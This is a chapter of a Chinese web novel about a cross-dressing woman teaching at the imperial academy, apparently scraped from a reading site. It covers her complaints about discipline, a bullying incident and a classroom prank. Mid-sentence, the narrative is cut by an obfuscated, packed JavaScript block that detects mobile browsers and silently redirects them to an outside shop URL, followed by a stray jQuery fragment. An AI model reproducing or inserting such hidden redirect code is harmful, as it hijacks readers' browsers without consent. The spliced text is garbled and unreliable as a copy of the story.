文趣网 > 其他小说 > 国子监第一班主任 > 15. 第 15 章
    一下课楚晞就跑到了沈文渊那边,她有一肚子话要讲。

    官舍内,沈文渊正在练字,字迹苍劲有力,颇有风骨。楚晞只看了一眼,总觉得似曾相识,但她无暇细想,朝沈文渊行了一礼:“祭酒。”

    沈文渊将最后一笔收尾,才不疾不徐地看向她,笑道:“回来了,感觉如何?”瞧他这样子,像是对楚晞的到来早有预计似的。

    楚晞沉默了一瞬,试探道:“......还行?”

    “但说无妨。”沈文渊看她一眼,示意她坐下。

    楚晞将小厮奉上的茶水一饮而尽,才缓缓道:“那我就直言不讳了,要是有什么说的不对,您老多包涵。”

    沈文渊点点头。

    “我认为国子监的纪律有待提高。”一开始楚晞还是边想边说,可逐渐就忘记了规矩,对今日种种大加指责——

    “首先是太散漫。怎么能允许学生带无关用品进学堂呢?夫子已经来了,居然还在悠哉悠哉地收拾、说笑,根本没将老师放在眼里,一点儿都不尊师重道!”

    “其次就是没有规矩。上课时有睡觉的,有玩闹的,还有和老师顶撞、跑出去的,这哪里是什么课堂,菜市场还差不多!”

    “还有啊,这夫子们的管理方式也得改进,要么不管,要么管得没有方法,学生怎么能服气呢?”

    她越说越忘情,慷慨激昂地几乎将国子监的授课现状贬得一钱不值。换做旁人怕是要和她争执起来,可沈文渊只是开始惊了一瞬,接着笑眯眯地抚了抚长须,满眼鼓励地瞧着她。

    等楚晞说得口干舌燥之际,甚至屈尊降贵地为她斟了杯茶。

    “然后呢?还有吗?”他继续问道。

    楚晞连饮两杯,缓了口气:“还有......但是我得想想,毕竟才一天。”

    “不急,慢慢来。”

    “唉,真是的......”楚晞长叹一声,陡然意识到不对,抬头看向沈文渊,“您......这是什么意思?”

    沈文渊笑得慈眉善目,可楚晞却觉得不怀好意:“老夫的意思是,你可以多观察,慢慢试着改变他们。”

    “你想不想改变国子监的情况,也给你自己博个前程?”

    ——

    楚晞心情复杂地走出了门,刚要出院子,迎面便碰到了顾衍之。

    “子珩?”楚晞一愣,闻到他身上有淡淡的墨香,“你过来替祭酒抄写吗?”

    “嗯。”难得能正大光明地“奴役”他,老师自然不会放过这个机会。

    他目光落在她的眉间,温声询问:“遇到什么事了,你不开心?”

    楚晞又是一声叹息,摆摆手道:“别提了,方才祭酒和我说了件事。”

    两人边走边说,楚晞将事情的来龙去脉与他交代清楚,末了加了一句:“我推了这事,可祭酒让我不要冲动,再好好想想。”

    顾衍之停下脚步,眉头微蹙:“为何要拒绝?”他并无功名在身,想靠科举立业难度颇大,如今沈文渊有意抬举,无论如何都该抓住机遇才是。

    楚晞苦笑一声,她要真是“林舒”就好了,难得遇到一个愿意放权给她,又能镇得住学生家长的领导,可惜生不逢时,她现在是女扮男装,又是罪臣之后,无论哪点都是定时炸弹,一旦被发现不仅自身难保,还得连累旁人。

    “我这个人其实胸无大志,只想过个安稳日子,沈祭酒太抬举我了。”她打着马虎眼,可眼前人定定地看着她,像是要把她看透一般。

    “不说我了,你怎么样?今日是第一次来吧,可还习惯这里?”

    楚晞生硬地转移话题,可向来体贴的子珩却没有顺势揭过,反而摇摇头,语气里满是不赞同:“三思而后行,何况在我看来,你绝非苟且偷安之辈。”

    “哈哈,原来子珩你这么看得起我啊。”楚晞干笑两声想调节气氛,可效果不佳。幸好那边的小路上传来动静,让她有了借口。

    “呜——”像是有谁在呜咽,伴随着拳脚落在皮肉的声音。

    “贱骨头,还敢反抗!”

    “你平日不是挺横的吗?”

    楚晞眼神一凛,匆忙快走几步,正看到几个监生在对地上一人拳打脚踢,她当即高呵:“干什么呢!”

    几人动作一停,但看见楚晞只有一人,并未立刻逃跑。楚晞眼珠一转,冲着顾衍之的方向喊道:“祭酒大人!你快看他们——”

    话音刚落,几人撒腿就跑,很快便不见了踪迹。

    楚晞小跑着上前,想将地上的人扶起来,却被他避开:“不用!”

    这声音......

    楚晞借着最后几分日光勉强认出了这鼻青脸肿的人:“秦厚生?”这不是赵路有的狗腿子,平日跟着作威作福的,怎么会沦落至此?

    秦厚生用衣袖遮着脸,踉跄着从地上起身,他刚要跑,楚晞伸臂挡住了路:“到底怎么回事?”

    “与你何干!”秦厚生丝毫不领情。

    楚晞并不生气,只是表情严肃道:“欺负你的这几人是谁?你们为什么起冲突?”

    “不干你的事!”秦厚生大吼一声就要用蛮力将人推开,可他刚要碰到楚晞,就被一只有力的大手扣住了手腕。

    “奉劝阁下还是老实回答,不然......”顾衍之手指微微用力,秦厚生顿时痛得一声惨叫。

    “子珩!”楚晞抬手轻按他的手臂,顾衍之松了手,冷眼看着秦厚生捂着手痛得龇牙咧嘴。

    “现在你可以说了吧。”楚晞脸色微沉,“你要是不说,他们只会变本加厉。”

    “......”秦厚生扭开头抿着嘴,一副不肯交代的神色。

    楚晞正要劝他,顾衍之上前一步,声音清冽,像是浸了秋霜:“既如此,便去沈大人那里说个一二。”说着他就提起了秦厚生的衣领,一个十五岁的少年在他手里,竟像是小鸡仔般肆意拿捏。

    楚晞想阻止,可终究没有开口。秦厚生慌乱之下只得喊叫道:“我说我说!”

    顾衍之松开手,站在楚晞身侧。

    秦厚生看了他一眼,不甘不愿道:“.......他们找我要钱,我没有,就和我开了个玩笑。”

    “开玩笑?”楚晞瞪大了眼,继而嗤笑一声,“秦厚生你是不是当我们是痴儿?有这么开玩笑的吗?”

    秦厚生又抿起了嘴。

    楚晞见状,自行猜测起来:“你平日里跟着赵路有为非作歹......莫不是人家在报仇?”

    秦厚生的面上闪过一丝羞愤,可咬牙忍住了辩驳的冲动。

    楚晞将他的表情收入眼中,继续思忖:“不对......那里面的人我只认得一个,和你都是赵路有的跟班,总不能是你们在‘争风吃醋’吧?”

    她盯着秦厚生羞愤又无奈的神色,排除了这个可能:“那就只有一个了,你有什么把柄在人手里,他们才找你勒索!”

    秦厚生的脸上闪过明显的慌乱,楚晞知道自己猜对了。

    “难不成......和那天你娘的事情有关?”

    楚晞试探着他的反应,可“你娘”二字刚说出口,秦

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17663089|206505||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    厚生立刻尖叫道:“不是!她不是我娘!”

    他双眼猩红,神色激动地要向二人撞来,顾衍之抬脚便踹了过去,秦厚生向后倒在地上,可随即起身,又冲了过来。顾衍之一把揽过楚晞,身体一侧,秦厚生跑了出去。

    他正想去追,被楚晞拦下:“子珩,别追了。”

    “瞧他这样子,逼急了只怕要出事。”楚晞说完却没听到他的回应,她抬头望去,对上顾衍之深邃地眼眸。

    “你不高兴?”楚晞察觉到不对。

    顾衍之略一挑眉,像是没想到她如此敏感一般,点了点头。

    “为什么?”

    顾衍之搭在她肩上的手紧了紧,感受到身侧人身躯的瘦小,他沉默了一瞬,松了手。

    “......没什么。”连他都不明白,为何听见他不珍惜前程时会气闷,为何看见他莽撞行事会生气,又何必说给他听呢?

    夕阳终于落下,夜色笼罩中,二人一路无言。

    ——

    随后的几日里,楚晞都没再看见秦厚生。她打听了一下,据说是染了风寒,需要静修几日,楚晞明白,他是不想被人瞧见脸上的伤。

    可她无暇关心这些,这些天越是待在学堂,她越能察觉到国子监现状的不妙。

    这天又是郑博士讲经,在讲到“蒹葭苍苍,白露为霜”的时候,后排突然爆发出几声嗤笑,楚晞听到有人嘟囔着“霜露”什么的。

    郑博士难得见到他们如此“投入”,便高兴地将笑得最欢的那人叫了起来,并让他谈谈自己的感受。

    “夫子,我没什么感想,就是觉得‘所谓伊人,在水一方’!”

    “哈哈哈哈......”他身侧几人爆发出大笑。

    郑博士不明所以,还当是他们品出了诗歌意境,夸奖了他几句,这更让这人变本加厉:“夫子你也觉得很美,对不对?”

    郑博士点点头:“是啊,当真是极美。”

    “哈哈哈哈!”几人笑得更是猖狂。

    楚晞敏锐地察觉到不对,她侧身询问高承武和沈安知不知道他们的意思,两人茫然地摇摇头,反而是刚睡醒的陆一逸为她解了迷惑:“‘在水一方’是新开的花楼,霜露是里面的花魁。”他说着打了个哈欠,可手还没放下,便看见面前三人眼神复杂地看着自己。

    “嗯?”他不解地看着他们,又给自己倒了杯茶。

    “你——去花楼?”楚晞心情复杂,一时不知是先发火,还是先震惊。高承武倒是三人中最快回过神的,他眼神发亮,不怀好意地打量着陆一逸,显然是准备回头告黑状。

    至于沈安......他面色通红,不知所措。

    陆一逸一口水喷了出来,这次高承武有了经验,轻轻松手闪身躲过,口水喷到了更前的郑克勤头上,可他只是摸了摸微凉的发丝,接着又奋笔疾书去了。

    “怎么可能!”陆一逸难得露出焦急的表情,“我要是敢去,不说爹娘,就是表哥他都要打断我的腿!”

    “那你怎么知道的?”楚晞半信半疑。

    “我说听他们说的,课前我来得早在睡觉,他们就在讨论休沐时去花楼的事。”

    听完他的解释,楚晞暂且信了他的说辞。

    很好,既然陆一逸暂时没有嫌疑,那这几个公然扰乱秩序,说下流言语,又调侃夫子的家伙就得付出些代价了。

    “啪——”

    楚晞一巴掌拍在案几上,满堂顿时寂静无声,她眼神愤怒地瞪向那人,口中大喝:

    “你个混账!”